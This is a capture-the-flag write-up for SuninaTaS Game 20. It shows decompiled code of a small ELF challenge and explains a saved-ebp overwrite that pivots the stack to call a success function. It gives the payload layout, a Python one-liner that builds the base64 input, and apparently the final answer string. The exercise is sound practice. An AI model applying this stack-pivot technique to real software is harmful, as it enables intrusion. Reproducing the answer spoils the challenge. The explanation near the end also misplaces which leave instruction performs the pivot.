Suninatas Game 20

posted
read
289 words · 1 min
contents

challenges

Game 20

reverseme: ELF 32-bit LSB executable, Intel i386, statically linked, not stripped

Source

int __cdecl main(int argc, const char **argv, const char **envp)
{
_BYTE s[30]; // [ebp-2Eh]
int v5; // [ebp-34h] BYREF
unsigned int v7;
if ( argc > 1 || strcmp(*argv, "./suninatas") ) // 必须重命名为 suninatas
return 0;
// 清空所有环境变量
for ( i = 0; envp[i]; ++i )
for ( j = 0; j < strlen(envp[i]); ++j )
envp[i][j] = 0;
_isoc99_scanf("%30s", s);
v7 = Base64Decode(s, &v5);
if ( v7 <= 0xC ) // 解码后最多 12 字节
{
memcpy(&input, v5, v7); // 拷贝到 BSS 段全局变量 input
if ( auth(v7) == 1 )
correct();
13 collapsed lines
}
}
_BOOL4 __cdecl auth(int a1)
{
_BYTE v2[8]; // [ebp-14h]
char *s2; // [ebp-Ch]
int v4; // [ebp-8h] BYREF <-- 关键:距 saved ebp 仅 8 字节
// buffer overflow
memcpy(&v4, &input, a1); // 12 字节拷贝:8 字节填满 v4,4 字节溢出覆盖 saved ebp
s2 = (char *)calc_md5((int)v2, 12);
return strcmp("f87cd601aa7fedca99018a8be88eda34", s2) == 0;
}
void __noreturn correct()
{
if ( input == 0xDEADBEEF )
IO_puts("Congratulation! you are good!");
exit(0);
}

Analysis

限制条件:

  • 文件必须重命名为 suninatas(strcmp(*argv, "./suninatas"))
  • Base64 解码后最多 12 字节,无法直接覆盖 return address(需要 12+4=1612+4=16 字节)

Stack Pivot

auth 中 v4 位于 [ebp-8h],memcpy 拷入 12 字节时:

[ebp-8h] v4 ← bytes 0-3
[ebp-4h] ← bytes 4-7
[ebp+0h] saved ebp ← bytes 8-11 (被覆盖!)
[ebp+4h] ret addr ← 无法触及

虽然无法直接控制 return address,但可以控制 saved ebp,利用 leave; ret 的链式效应实现栈迁移:

  1. auth 的 leave 恢复了被篡改的 ebp 给 main
  2. main 结束时执行 leave(mov esp, ebp; pop ebp),esp 被迁移到 &input
  3. main 执行 ret,从 &input + 4 弹出值作为 EIP

Payload 结构

12 字节 = 3 个 DWORD(little-endian):

Offset值作用
0-30xDEADBEEFmain 的 pop ebp 读取,同时满足 correct() 中 input == 0xDEADBEEF
4-7&correct (0x0804925f)main 的 ret 弹入 EIP
8-11&input (0x0811c9ec)覆盖 auth 的 saved ebp,触发栈迁移

Exploit

获取地址(statically linked,地址固定):

Terminal window
$ objdump -t ./suninatas | grep -E ' (correct|input)$'
0811c9ec g O .bss 0000000d input
0804925f g F .text 00000031 correct

生成 payload:

Terminal window
python -c "import base64, struct; print(base64.b64encode(struct.pack('<III', 0xDEADBEEF, 0x0804925f, 0x0811c9ec)).decode())"
****************

because

memcpy(&input, v5, v7); // 拷贝到 BSS 段全局变量 input

&input + 0 (前 4 字节): 0xDEADBEEF

&input + 4 (中 4 字节): 0x0804925f (&correct 的绝对地址)

&input + 8 (后 4 字节): 0x0811c9ec (&input 的绝对地址)

memcpy(&v4, &input, a1); // 12 字节拷贝:8 字节填满 v4,4 字节溢出覆盖 saved ebp

[ebp-8] 到 [ebp-5]: 填入 0xDEADBEEF

[ebp-4] 到 [ebp-1]: 填入 0x0804925f

[ebp+0] 到 [ebp+3]: 填入 0x0811c9ec (&input) <-saved ebp

when auth calls leave; ret to return to main

mov esp, ebp: esp = ebp -> &input

pop ebp: esp -> ebp + 4 = &input + 4 and put 0xDEADBEEF into ebp

ret (pop eip): eip -> esp = &input + 4 = 0x0804925f = &correct

at &correct check input == 0xDEADBEEF

Terminal window
$ ./suninatas
Authenticate : ****************
hash : d932bf2657c20fd638787756d680c95c
Congratulation! you are good!

776t3l+SBAjsyREI